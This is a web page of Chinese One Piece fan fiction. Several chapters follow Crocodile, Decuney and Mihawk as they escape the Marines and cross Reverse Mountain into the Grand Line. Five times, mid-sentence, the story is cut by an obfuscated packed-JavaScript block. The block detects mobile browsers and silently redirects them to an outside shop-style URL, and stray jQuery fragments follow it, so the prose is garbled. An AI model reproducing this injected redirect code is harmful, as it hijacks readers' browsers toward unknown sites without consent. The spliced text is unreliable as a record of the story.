黛可妮斯扭头一看,正是自己之前见到的几条海军军舰,不过此时那军舰的火炮炮口,正对着他们。
军舰上还有人扯着喇叭喊话:“立刻束手就擒吧,该死的海贼!”
“海贼?”黛可妮斯嫌恶地将视线投向米霍克,“你这家伙是海贼?他们说的是你吧。”
米霍克露出了看白痴一样的眼神,正要说话,却被克洛克达尔抢过了话头:“黛可!别浪费时间了!快去开船!”
虽然不知道为什么克洛克达尔出去一趟就弄了个不好惹的海贼回来,但对面海军的军舰已经开始了不要钱一样的炮弹连发,于是黛可妮斯只好忍气吞声地冲进驾驶舱,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012793|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被迫开启她航海人生中第一次的大逃杀体验。
而原本还在打架的两人,却在海军炮弹落下的那一刻,达成了无言而默契的停战协议,甚至一边一个拦截飞来的炸弹。
在炮火满天飞中仓促启航,黛可妮斯差点就一头撞上了海军的铁皮军舰,好在她一个堪称疯狂的急转弯,猛打船舵从军舰之中的缝隙间钻出去了。
当时她浑身冷汗都出来了,米霍克瞪着她的眼神似乎也变了,好像把她当作要带着大家投敌的海军间谍了。
克洛克达尔嘴角绷得紧紧的,时刻保持着能力的发动,准备万一无法从海军的追击中逃脱,就带着黛可妮斯逃向天空。
不过要他说,这次的时机真是差极了。
虽说幸运地在岛上遇见了个威名赫赫的家伙,却没想到这个被称为鹰眼的家伙固执得像块臭石头,谈了没两句就打起来了。还没等分出胜负,海军们就突然冲进了赛场,不可一世地准备抓人。
即便他们打退了大部分的海军士兵,却也没能阻止后者打电话向支部寻求支援的行动。
克洛克达尔甚至听到了那个被称为「海军英雄」大叔的爽朗大笑,隔着电话线传过来。
要是那家伙过来了,他也不用考虑找什么同伴了,直接思考推进城会不会提供一日三餐就行了。
于是他就准备先撤退,结果鹰眼那家伙也打的一样主意,而且更无耻的是,这家伙没船。
见到海军来袭,鹰眼自然也打算先跑再说,心里正琢磨蹭谁的船逃跑时,眼前的对手却拔腿就跑。
对了,抢这家伙的船不就好了吗?
虽说鹰眼刚拒绝了克洛克达尔的合作邀请,但这丝毫不影响他一路跟着克洛克达尔直奔「黑隼号」而来。
克洛克达尔甩不掉后面的无耻之徒,一个不留神还被他赶在了自己前面,气愤之余准备让黛可妮斯直接开船离开,自己稍后再赶上,却还是晚了一步,眼睁睁看着鹰眼站在甲板上了。
两人站在同一片甲板上,偶尔目光相接之处几乎冒出火花。不过事已至此,再怎么看对方不顺眼,还是先逃出海军包围圈再说。
关键时刻,黛可妮斯还是一如既往地可靠,凭借着「黑隼号」在速度上的卓越优势,灵活地从海军的包围圈中逃脱而出。
还没等克洛克达尔长出一口气,就看见手握轮盘的黛可妮斯一脸嫌恶地瞅着米霍克,用极尽恶心的语调说:
“你这海贼能不能别站在我可爱的甲板上啊?真令人作呕……”
眼瞧着鹰眼面色不善地抬起手中的刀尖,克洛克达尔连忙化作一片黄沙,挡在两人中间的同时,一把关上驾驶舱的门。
他双目死死盯着鹰眼,压低声音,确保驾驶舱内的黛可妮斯听不见:“米霍克,我可以允许你暂时呆在我的船上……”
鹰眼冷哼一声:“你不会真的以为自己掌握主导权吧?可笑……”
克洛克达尔打断他,微微偏头,视线落在驾驶舱的舱门上:“只要你向她隐瞒我的海贼身份,否则——哪怕毁掉这艘船,我也绝对会让你葬身海底。”
11. 第 11 章
黛可妮斯心情很不爽。
不仅仅是因为她的宝贝船只上多了一个打不过也轰不走的混账海贼。
今天一早,克洛克达尔就将一张海图平铺在餐桌上,向餐厅内的另外两人宣布:“我们要进入伟大航路。”
米霍克眼皮子都没抬一下,而还在用早餐的黛可妮斯,则是立刻捏爆了手中的半个苹果。
伟大航路,臭名昭著的伟大航路!据说行驶在伟大航路上的船只,有七成都是可恶的海贼船,剩下的三成就是抓捕海贼的海军。
这些家伙们不用打工,不用烦恼怎么攒钱买房子维持生活,他们只用抢!而海军们呢,表面上是天天抓捕海贼,谁知道是不是借着由头公费出海旅游?而偏偏还需要老百姓纳税养着这些吃饱了不干活的懒货!
黛可妮斯想想就生气,虽然她现在也不打工、干的也是抢劫的活计,甚至从未向政府纳过一分钱的税——但这也完全不影响她讨厌那些家伙。
这些家伙们,黛可妮斯一个也不想见到。
她用纸巾擦干净掌心的苹果汁,举起手来:“很好,我要反对。”
“反对无效。”克洛克达尔点燃了嘴边的雪茄,“对了,我已经完全想通了,根本不需要什么伙伴,就算只有我一个人,也足以达成目标。”
米霍克显然知道他口中所说的目标是什么,闻言仅是冷笑一声:“不自量力。”
“好的,我知道了,”黛可妮斯干脆道,“现在我已经会开船了,根据你之前的承诺,这艘船是我的了,所以你们两个家伙现在立刻马上给我滚下去。”
克洛克达尔无视掉她:“再有两天就能抵达颠倒山了,米霍克,届时你必须给我滚下船去。”
“可笑的家伙,你以为我愿意留在这里看你们两个玩过家家吗?”鹰眼斜了他一眼,“不过是一条鳄鱼,居然还会假惺惺地流眼泪……”
听出他意有所指,克洛克达尔顿时眼睛眯起,威胁的视线落在米霍克身上,却又忍不住以余光偷窥黛可妮斯的反应。
好在后者正骂骂咧咧地研究海图,懒得把心思放在两个男人的谈话内容上,似乎完全没听到。
“别多管闲事。”
鹰眼没再搭理他,背着自己的黑刀离开餐厅,自顾自地坐在船头吹海风。
克洛克达尔回过头,留意到黛可妮斯几乎要将海图撕个粉碎的暴起青筋的手背,叹气一声将手掌按在她的手腕上,抽走了海图。
他说:“我们必须要前往伟大航路……”
“剩下的话不要再说了,”黛可妮斯竖起一根手指,“如果你想要被我缝住嘴巴的话。”
话是这么说,克洛克达尔却已经看到她指尖银光一闪而过,紧接着嘴唇上就传来了被束缚的感觉。
而罪魁祸首还装作没事人一样站起身伸了个懒腰:“话说回来,今天的阳光还是挺灿烂的嘛,阴暗的鳄鱼小鬼,你就继续呆在这房间里思考你要与海贼打交道的恶臭计划吧,本人可是要出去晒太阳喽。”
克洛克达尔冷着脸揪住她的胳膊,一把将她拽回到自己怀里,由于太过气愤,力度过大,导致两人都撞了个头晕眼花。
黛可妮斯捂住脑门:“我说你这家伙绝对绝对是想找死吧喂……”
克洛克达尔默不作声(本来被缝住嘴巴了也说不出话),暗自揉了一下撞到的下巴,伸出一根手指在唇边比划一下,意思是混账黛可妮斯别闹了立刻给他解开束缚不然一会儿有她好看的。
黛可妮斯,装作看不懂的样子,一手抬起克洛克达尔的下巴,故作仔细认真地观察:“发生什么状况了吗这位朋友?为什么不说话?语言是沟通的工具,你不说话谁能知道你是什么意思啊……”
克洛克达尔简直要被气笑,可是那双青碧色的眼睛忽闪忽闪地眨着睫毛,就在他面前十公分的距离处,非常近,让他晃了一下神。
非常近的距离,他忍不住想要将距离再缩短一些。
他微微向前,视线从对方的眼眸向下转移,落在了那两片还在发表毒舌言论的嘴唇上。
他想做些什么,但他还是告诉自己,要忍住。
虽说早已习惯了以这样的距离和她相处,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012794|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仍旧渴望着再进一步、又一步,只是——风险太大了,在没有把握被她接受之前,克洛克达尔可不想因为鲁莽的举动而失去站在她身边的机会。
收敛好不受控的心跳,克洛克达尔抓住黛可妮斯抬起他下巴的手,带着她上移,最后停在他的嘴唇上。
那嘴唇在她掌下微微颤抖,像是在控诉她的恶作剧,带来一阵穿透掌心的痒意。
黛可妮斯僵住了。
呃,怎么感觉,这样的动作,这样的气氛,有点怪怪的……
不经意中对上他的视线,黑色的瞳孔里似乎只有一潭平静的湖水,没有风也没有浪,让她感觉方才的怪异感只是自己的错觉。
但是,怎么感觉自己的手好像被火烧了一样。
黛可妮斯嘴里嫌弃地“噫”了一声,手下发力在克洛克达尔嘴上一抽,就像是碰到什么脏东西一样,跳起来冲到水槽前去洗手。
猝不及防的克洛克达尔吃了一巴掌,嘴上的束缚倒是被解开了,不过他的脸也被抽歪了,此时的脸色要多难看有多难看。
“你这家伙……”还在崩溃洗手的黛可妮斯,声音阴沉得仿佛有人欠她一亿贝里还没打欠条,“……不会是故意往我手里吐唾沫了吧混账。”
克洛克达尔深吸一口,在心里质问自己到底为什么会喜欢这种蠢货女人。
最后得出的结果也只是让他恶狠狠地磨着后槽牙。
总之「黑隼号」还是向着伟大航路的入口颠倒山前进了。
克洛克达尔先是说自己的故乡就在伟大航路上,又说自己想要击败的某个男人也在伟大航路上,还说自己的大部分产业也在伟大航路上……
列举了非常多的原因,喋喋不休了很久。
反正听在黛可妮斯耳朵里就是,“我去找你就是为了带你进入伟大航路。”
哦,千里迢迢赶过来,将她推进全是海贼的火坑是吧。
黛可妮斯很后悔在出发前没有买一支水枪,就是小孩子玩耍的那种玩具水枪。她绝对要在水枪里灌满海水,然后对着某鳄鱼的眼睛突突突突突突。
12. 第 12 章
“我需要一个像样的房间,还有红酒。”
米霍克如是说。
这个不请自来的家伙,完全没有寄人篱下的自觉。黛可妮斯本来是很火大的,但当她看到克洛克达尔也火冒三丈却又不得不忍气吞声的模样时,心里莫名爽到了。
是的,她素日平生最大爱好就是看自己的发小吃瘪。苍天啊,大地啊,如果现在能立刻有个人冲出来把她那不可一世的发小殴打一顿,让她吃香喝辣的她也愿意啊!
但无论幻想多么美好,现实总是残酷的,比如背过这页单词就忘了上一页的语法……天杀的,黛可妮斯希望全世界立刻回归倒退到原始社会,所有人都不识字的那种。
“这个后缀的意思是「用眼睛看」,所以带着这个后缀的词语大多都和「查看、浏览」有一定的衍生含义……你要弄懂单词的构造,不要死记硬背。”
铅笔戳着腮帮子,正百无聊赖背单词的黛可妮斯,被身后突然响起的声音吓了一跳,差点将被她咬出牙印的铅笔捅进鼻孔。
回过头就见到了某个背着巨大黑刀的青年海贼,一脸嫌弃地看着她手里的儿童识字书。
真的要用这种看文盲智障一样的眼神看着她吗?虽说她本来就是文盲,但是文盲也是自己的尊严的,被逼急了也是——黛可妮斯瞅着米霍克后背的刀,咽下口水——被逼急了也是可以继续忍下去的。
“说得非常好,米霍克先生,”黛可妮斯决定暂时忽略对方的海贼身份,“现在由我正式宣布,你本次搭乘黑隼号的船费,将以劳动形式代付——劳动内容就是教我认完这本书上的单词。”
“那么我要驳回这个宣告,”米霍克眼皮子都没抬一下,“所以厨房里的地窖入口藏在哪里?我昨天看见鳄鱼他拿着红酒出来了。”
什么?这船上居然还有贮藏红酒的地窖——不对,问题不是这个。克洛克达尔那家伙不肯教她识字,现在她意外遇到一个看起来似乎很有学问的家伙,又怎么能轻易放他跑?
黛可妮斯阴恻恻地说:“教我认字,别说地窖里的红酒,就连他喝进肚子里的我都叫他吐出来给你。”
米霍克嘴角一抽:“那还是恕我敬谢不敏吧……”
话是这么说,但呆在船上闲着也是闲着,米霍克终于无法忍受黛可妮斯那念经一样背单词的声音,坐下来决心无论如何也要让这蠢货学会基本生活用词。
然后当克洛克达尔走出房间,准备抽支雪茄吹吹海风放松一下的时候,展现在他眼前的就是黛可妮斯和米霍克两个人挤在一张桌子上甜蜜蜜(?)交头接耳的场景。
当时他觉得天塌了。
不过当他提心吊胆又怒气冲冲跑到两人身后,才听出来两人只是学习单词。什么嘛,只是学习啊……等一下,为什么这个场景看上去这么暧昧啊混账。
阳光下,黛可妮斯的红发闪闪发光,白皙而红润的脸蛋上,一双眼睛里写满苦恼,却让人心生怜爱之意。
坐在她身边的青年虽然还是一副半死不活的面瘫脸,但偶尔露出的无奈表情却也让他生动了许多,手掌放在桌上,时不时攥紧成拳想要给对方一个爆栗,又会在最后一刻忍气吞声的停止。
克洛克达尔的拳头也攥紧了。
而黛可妮斯见他来了,居然还面不改色地打招呼:“你出来了?别忘了今天中午轮到你做饭,前天的炒饭太难吃了所以今天要加油哦,再做出那种浪费食材的料理我就将你的嘴巴缝一整天……”
居然毫不客气地使唤他(虽说的确轮到他做饭)!啰里吧嗦说完一堆居然又问鹰眼单词的含义(虽说他俩真的只是在单纯的谈论学习)!她居然不来问自己(虽说当初也是自己不想教她的)!
克洛克达尔身子晃了一下。
他就知道不该让鹰眼这混账上船。
克洛克达尔深吸一口气,上前几步,手掌轻轻落在黛可妮斯的肩头,用低沉而温柔到不可思议的声音对她说:“我想吃你做的炖汤了,就是我们小时候常吃的那种味道,你不在我身边的日子里,我总是会想起……”
这声音让米霍克差点从椅子上摔下来,他抬起头惊恐万分地盯着克洛克达尔,最后理解了什么,面皮上顿时止不住地抽搐,憋笑的行为险些让他吞了自己的舌头。
而黛可妮斯只觉得浑身鸡皮疙瘩都起来了:“……不是,你为什么爱吃那泔水一样的玩意儿啊?”
两人还在孤儿院的时候,为了果腹常常将收集来的食材放进大锅里煮,材料大多是野菜干面包之类的,调味料是没有的,贯彻的原则就是熟了就能吃。
黛可妮斯完全不觉得那种味道值得怀念……不过话又说回来,那各种乱七八糟东西煮出来的汤居然没把两人毒死,还真是谢天谢地。
克洛克达尔只是想找个借口让黛可妮斯离鹰眼远一点,但是「泔水」这个词还是深深地伤害到了他的感情。他没想到儿时那段苦中作乐的艰苦经历,竟然被黛可妮斯如此嫌弃。
总而言之他现在想炸了某个国家,或者某个海军支部,再不济将某个背着黑刀的家伙炸上天也行。
黛可妮斯怀疑他只是想偷懒不做饭,但还是故作大方地走向厨房,嘴里说着“防止你今晚熬出一锅毒汤把所有人都杀死”。
见她已经离开,克洛克达尔这才将视线移回到米霍克身上。
“昨天傍晚,你在和谁通话?”
米霍克没有说话,就要起身离开。
“不是海军,而是更高层的混蛋吧。”
他脚步微微一顿。
克洛克达尔逼近他,眼睛轻轻眯起,缓慢而不留死角地审视米霍克。
他肯定地说:“那帮家伙想要招安。”
“那又如何?”米霍克冷笑一声,“明眼人谁看不出这是个把戏。”
“即便是鱼钩,那饵料却是我想要的东西。”克洛克达尔哼笑着,吐出个烟圈,满意地看到米霍克因此皱起的眉头,“你现在拒绝我的合作,没有关系,但是总有一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012795|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天,你我会朝着共同的目标前进。”
*
是夜,黛可妮斯从梦境中醒来,迷迷糊糊爬起床,来到厨房找水喝。
却意外看见了站在甲板上的两人。
晚上的海风细微而不着痕迹,连带着深蓝色的海面也呈现出难得的平静。
顺着两人的视线眺望而去,黛可妮斯怀疑自己见到了一个模糊的船影,正在远去。
为什么那看起来很像海军的军舰?
“喂,”她朝甲板上两个夜猫子喊了一声,好笑地见到两人震惊回头的表情,“集体梦游事件吗?还是说,被我撞破了你们的奸情?”
“黛可,你为什么在这里?”
克洛克达尔的声音听上去不像他表现出来的那么冷静,他扔掉了嘴边的雪茄,几步走过来,身形挡住了她。
“别紧张啦,你背着我做的的交易还少吗?”黛可妮斯懒洋洋地打着哈欠,摆摆手,“我只是个无辜的路过人士,请务必要放我一马哦~”
克洛克达尔的步伐停下了,头顶上的微弱月光不足以照亮他的面庞,只能看到阴影中有个弧度缓慢勾起,一同响起的还有他恢复如常的笑声。
“是啊,和往常一样,一些杀人放火的交易罢了。”
米霍克还是那万年不变的面瘫脸,径直从他们身边走过,扔下一句不明所以的“滑稽可笑的过家家”就回到了他的房间。
黛可妮斯耸耸肩:“那么,希望我没有打扰两位今晚的好兴致——不过看上去这句话已经说晚了。”
当她从厨房的冰箱内拿出冰镇的气泡水时,才留意到克洛克达尔依旧没有回去。
他就站在厨房的门口,后背靠着门框,随着黛可妮斯的转身,他的视线也缓缓上移,直到和她相交。
那双漆黑的眼睛,曾经拥有过圆圆的形状,以及明显的情绪波动。后来随着他年岁的增加,眼窝更加深邃,形状也变得细长,却令那眼神失去了灵动的光芒。
在大多数情况下,他总是一副漫不经心的样子,似乎周身的一切事物都无法令他提起一点兴趣。但偶尔,那双已然犀利如锋的眼眸中,会喷涌出滔天的野心。
在分别又再次重逢之后的这段时间里,黛可妮斯不止一次地从他身上感受到陌生的意味。
有时,他比那个记忆中的小男孩还要依赖她,而有时,却像个披着熟悉皮囊的陌生人,让人无法理解。
明明他也并没有做出什么太过古怪的举动,甚至可以说他的一切行为都那么合乎逻辑。
“愣着什么?”站在她对面的男人突然说话了。
黛可妮斯这才意识到自己已经傻里傻气地举着水杯,在原地站了很久。
“在想要不要把这杯水泼到你身上。”她若无其事地将水杯凑到嘴边,感受着碳酸气泡在嘴唇上炸开。
真是奇怪的……第六感。
话说回来。
这家伙似乎从没跟她提起过来到孤儿院之前的经历。
13. 第 13 章
航行继续,黛可妮斯逐渐能够望到颠倒山的奇观。
海流冲向红土大陆,却没有被陆地所拒绝,而是凭借着不可思议的力量冲天而起,迎着山势一路向上,直到山顶。
来自四个海洋的海水在颠倒山的山顶汇合,形成了一股庞大的洋流,才依依不舍地朝着山下流去。
这条汇合了四海海水的洋流,最终形成了伟大航路。由于特殊的地理位置,颠倒山便成为了这条环绕世界一周的航线起始点。
姑且跟着老舵手学习过一些海流知识的黛可妮斯,见到这等异于正常地理原理的奇观时,也不由得傻眼了一瞬。
“怪不得被称为颠倒山啊,”她指着前面那座和红土大陆相连的高山,“话说,就这样顺着海流冲上去,真的没关系吗?”
克洛克达尔的神情倒是平静如常,甚至带着些许怀念的感慨:“把你那些没用的担忧抛之脑后,我们就能进入伟大航路了。”
“啊,越来越感觉跟着你这家伙出来是个错误的选择了。”
黛可妮斯猛地一拉操作杆,命令道:“去把船帆展开。”
克洛克达尔耸耸肩:“遵——命。”
在海流和风向的双重作用下,无需什么调整,船只也能轻轻松松地向着山顶前进。但即便如此,万一船头发生了不可挽回的偏离,就有可能会导致船只撞向岸边的岩石,落个粉身碎骨的下场。
是以黛可妮斯拿出了十二分的专注力,双手死死握住了船舵。
颠倒山的峡谷海道近在眼前。
“要来了哦。”
话音未落,「黑隼号」已经进入了颠倒山的海道之中,巨大的惯性让船上的三人身形都不由自主地向后一倾。
耳朵听到船舱里某处发出物品掉落并摔碎的声音,黛可妮斯不禁一阵心痛。
早知道就该提前将所有东西都缝在地板上的,希望碎掉的不是自己最喜欢的那个珐琅彩玻璃杯。
海流溅起高高的浪花,他们一头冲进了水雾之中。大量海水冲刷着甲板,黛可妮斯还没庆幸今天不用刷甲板了,就被从天而降的海水泼了一脸。
而某个怕水的沙鳄鱼早就躲进船舱里了。
海水凉凉的,在嘴唇和舌尖留下盐的咸味,黛可妮斯舔舔嘴角,歪头借着肩膀的衣物蹭掉水珠。
有不少海鱼和螃蟹之类的,被海浪打上了甲板,正在乱蹦。
视野里突然出现了一块餐布。
顺着扭过头去,递过来餐布的家伙,竟然是她的临时识字老师。
这家伙另一手里还端着摇晃的红酒杯。
……话说回来,为什么在这种混乱的情况下,他也没有把红酒洒出来啊。
黛可妮斯接过餐布,胡乱地擦擦脸,一双眼睛忍不住落在鹰眼的身上,瞅着他若无其事喝红酒的模样。
最后还是被他找到了啊,克洛克达尔珍藏的酒。
不过,真的不会有海水溅到酒杯里吗?他这样和淋着雨喝酒有什么区别?
简直比某鳄鱼还爱好装逼。
“快到山顶了。”他说。
确实如此,此情此景某个沙子人又不愿意出来,好在鹰眼这家伙还勉强算得上是可靠,帮她赶在登顶之前收起了船帆。
船只在颠倒山的山顶短暂地停留了一瞬。
在那一刻,黛可妮斯向下眺望,见到了四片大海。
纵使被激流的水汽所遮挡,也难掩其磅礴。
黛可妮斯感到自己的心脏似乎出现在了耳边,咚咚的心跳声如雷贯耳,甚至使她出现了短暂的耳鸣。
那一瞬间,她陷入了一种错觉,仿佛置身于万丈高空之上驾船行驶的错觉。
但是下一秒,她就被海流狠狠抛下去了。
在急速的俯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012796|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冲中,「黑隼号」以势不可挡的速度向山下冲去,几乎要跳出黛可妮斯的掌控。
她感觉血液一下子冲上了头脑,掌下的船舵似乎也失了真,仿佛变成了牛皮鞣制的缰绳,勉强拴着一匹即将脱缰的野马。
「黑隼号」好像一个正在尖叫的小孩子,兴奋地坐着滑梯向下滑去。
而黛可妮斯能做的,就是死死拉住着缰绳,防止它一头将自己和船上的人都撞死。
直到身后响起了克洛克达尔的声音,黛可妮斯才回过神来,意识到他们已经从山上平安下来了。
船只仍在红土大陆的峡谷里航行,但地势已经变得平缓,海流的速度也变得缓和而温顺。
她缓缓松开握着船舵的手掌,皮肤已经被海水泡的发白变皱,双臂麻木不已,一放松便失去了再次抬起的力气。
但不管怎么说,她成功驾驶着「黑隼号」翻越了颠倒山,没有让这只小黑鸟被撞成残肢碎片。
她坐在椅子上长出一口气,对鹰眼说:“红酒,给我一杯。”
鹰眼将杯中酒一饮而尽:“没有多余的杯子。”
克洛克达尔道:“能不能请你们不要光明正大地瓜分我的珍藏,小偷们?”
“闭嘴,废物沙子人。”黛可妮斯努努嘴,“给你一个恩赐:为我倒酒。”
他哼了一声,嘴里叼着一只雪茄:“我太荣幸了,亲爱的混账。”
酒杯抵上她的嘴唇,黛可妮斯斜他一眼,就着他的手,将暗红色的酒液慢慢饮下。
“虽然并不是什么值得一提的成就,但还是要说一句:辛苦你了。”他懒洋洋地说。
黛可妮斯连揍他一拳的力气都没了。
“话说,你的珐琅杯子碎了,记得打扫一下。”
“……”
“怎么,还要为那种东西举办个哀悼会吗?”
“滚。”
14. 第 14 章
两座一模一样的灯塔,分别立于颠倒山脚下的岸边。
海上的人们将此地称为「双子峡」,来到此地,也就意味着正式进入伟大航路了。
「黑隼号」却在此地停下来了。
原因嘛,一是因为黛可妮斯要买个记录指针,二是……克洛克达尔坚持要把鹰眼赶下船去,不对,其实鹰眼他也早就不想在这船上呆着了。
两座灯塔脚下还是有一些居民房的,住在这里的人们会打捞那些在翻越颠倒山中途不幸沉船的残骸,进行回收并以此为生。
黛可妮斯刚从居民手里买了个记录指针,就听见克洛克达尔和鹰眼又呛起来了。
“……赶紧滚。”
“真遗憾不能见到你失败的模样。”
“恐怕你只会看到我称霸这片大海的报道。”
鹰眼冷笑着转身,见到黛可妮斯看热闹的表情,又抛下一句话:“可惜,你自己的任性妄为,还要让无辜者受罪。”
黛可妮斯:谁无辜?我吗?
刚刚进入伟大航路的第一天,被海贼评价为「无辜」,黛可妮斯对此举双手双脚表示赞成。
“我申请插个嘴,”黛可妮斯高高举起手,“请问你们分别时互相放狠话的环节还没结束吗?”
没想到鹰眼还对她来了一句:“跟着他送死吧,蠢货。”
很好,她现在变成「无辜的蠢货」了,好无情的评价啊,临时识字师傅,这就是你我三天师生情的最后结晶吗?
“别再把你的懦夫言论宣之于口了,”克洛克达尔放声大笑,“我绝对会打败那个男人的。”
黛可妮斯好奇:“所以到底是谁啊?”两个小男孩发生争吵,背后的原因竟然是第三个男人……黛可妮斯的好奇心如烈火熊熊燃烧。
克洛克达尔还没说话,那边鹰眼却摇头叹气:“看不清差距的蠢货啊,竟然还自以为是地……”然后背着黑刀走远了。
怎么有人把话说一半就走啊,黛可妮斯想揍人。
“我要挑战的,是世界上最强的男人。”
不知道是不是被鹰眼激将成功的原因,克洛克达尔此时就跟个不可一世的混小子一样,趾高气昂且盲目自大。
不过话又说回来,他本来也才成年没多久,气性大点也没办法。黛可妮斯咂嘴摇头,实在是受不了这两个年轻气盛的小孩拌嘴。
“那男人是个海贼,有一道弯月型的白色胡子……说了你也不知道。”
黛可妮斯默然,心说我好像还真的知道。
要说这世界上还有谁不知道「白胡子」爱德华·纽盖特的鼎鼎大名,那才会让人感到奇怪吧。
就算是在南海角落的餐厅里端盘子的黛可妮斯,也听说过一些那个海贼的事迹。没想到克洛克达尔想要对付的,就是那个家伙啊。
虽然想为克洛克达尔的勇气喝彩,但是黛可妮斯已经在考虑,他被打败的时候要怎么取笑他了。
“很好,我知道了。”她憋着笑,煞有介事地点点头,“所以我们可以继续采购了吗?”
手腕上的记录指针摇摇晃晃地,已经指出了他们下一个目的地。但尚且不知道要再行驶多久才能抵达,所以在双子峡进行一下物资补给还是很有必要的。
这里的物价高得像是打劫,但某鳄鱼很有钱,所以黛可妮斯完全不在乎,只顾着走在前面大采购。克洛克达尔就跟在她身后,面色阴沉地抽着雪茄,散发出生人勿近的气息。
鹰眼那家伙刚离开不到半个小时,黛可妮斯就已经很没出息地开始想他了,止不住的眼泪从嘴角疯狂留下……明明今晚轮到他做饭的,呜呜,这就毫不留情的走了。
黛可妮斯的厨艺仅限于将食物弄熟,而克洛克达尔的料理则刚好处于半死不活的边界线(让食用者半死不活),所以在这过去的短短几天里,鹰眼成功凭借一手绝妙的烤牛排,让两人对他卑躬屈膝。
明明……只是个混账海贼,为什么,会烤得牛排这么好吃啊!
被厨子抛弃的黛可妮斯,在路上越走越潸然泪下,越走越难以自禁,越走越觉得……克洛克达尔的雪茄味真他祖宗的呛人啊!
……话说他的雪茄怎么还没抽完,那个被他放在衣服内兜的金属雪茄盒子,简直就是个无底洞嘛。
黛可妮斯突然打了个喷嚏。然后又一个。再一个。
“哎呀呀,小丫头你不会是感冒了吧。”面前的杂货铺老板立即用衣袖捂着口鼻向后暴退几步,“注意点啊喂,要是传染给别人什么的也太没礼貌了吧!”
黛可妮斯无语:“至于这么大惊小怪吗……话说你这称绝对不准吧,别给我转移话题啊!”
“少废话,要不是这里唯一一个医生被海贼拐跑了,谁还要操心这种东西啊!”杂货铺老板几乎都缩到他的货架后面了,“喂,把钱放到柜台上,然后赶紧给我滚蛋!”
“你是说负责维护灯塔的那个家伙吗?”克洛克达尔似乎还认识他口中的医生,“那个倔驴混账居然会……他加入了哪个海贼团?”
“还不是那个该死的罗杰!”杂货铺老板愤怒地敲着桌子,“这下好了,不仅没人给治病,连灯塔也要我们轮流去维护,简直就是……”
“你的熟人还不少嘛,小朋友。”黛可妮斯继续打着喷嚏,揉揉鼻子瞅着克洛克达尔,“无所谓,正好我在武斗岛还买了点药,就算是发烧了也不要紧。”
然后这个她乌鸦嘴真的发烧了。
“弱小。”克洛克达尔站在她的床边,瞅着她捂得严严实实的棉被,瞅着她扔了一地的擦鼻涕纸,瞅着她吃了一半就放在床头吃不下去的苹果,评价道:“真是太弱小了。”
“你凑近点,我保证不传染给你。”
黛可妮斯的声音,沙哑到像是极其年老的鸭子,其肉质之柴能塞满每一个牙缝的那种。
于是这几天就是克洛克达尔负责开船。真神奇,他们的船居然还没沉。
也是他负责做饭。真神奇,两个人居然还没被毒死。
克洛克达尔每天端给她的饭汤都散发出一股难以言喻的味道,但不幸中的万幸是,黛可妮斯暂时失去了味觉和嗅觉,所以完全吃得下去(黛可:赞美大海!)。
各种感冒药和退烧药吃了一把又一把,克洛克达尔数着地上的空药瓶,看着依旧下不得床的黛可妮斯,终于长长
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012797|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一声叹气。
“让我们祈祷下个岛屿上会有医生,”他说,“或者有教堂也行,那样就能直接把你安葬了。”
“那太好了,”老鸭子嗓音透过棉被传出来,“请给我订一个最昂贵最花哨最中看不中用的棺材,我想让所有参加我葬礼的人都知道:操办这场葬礼的你是个有钱的蠢货。”
坐在她床边的克洛克达尔没有吭声。
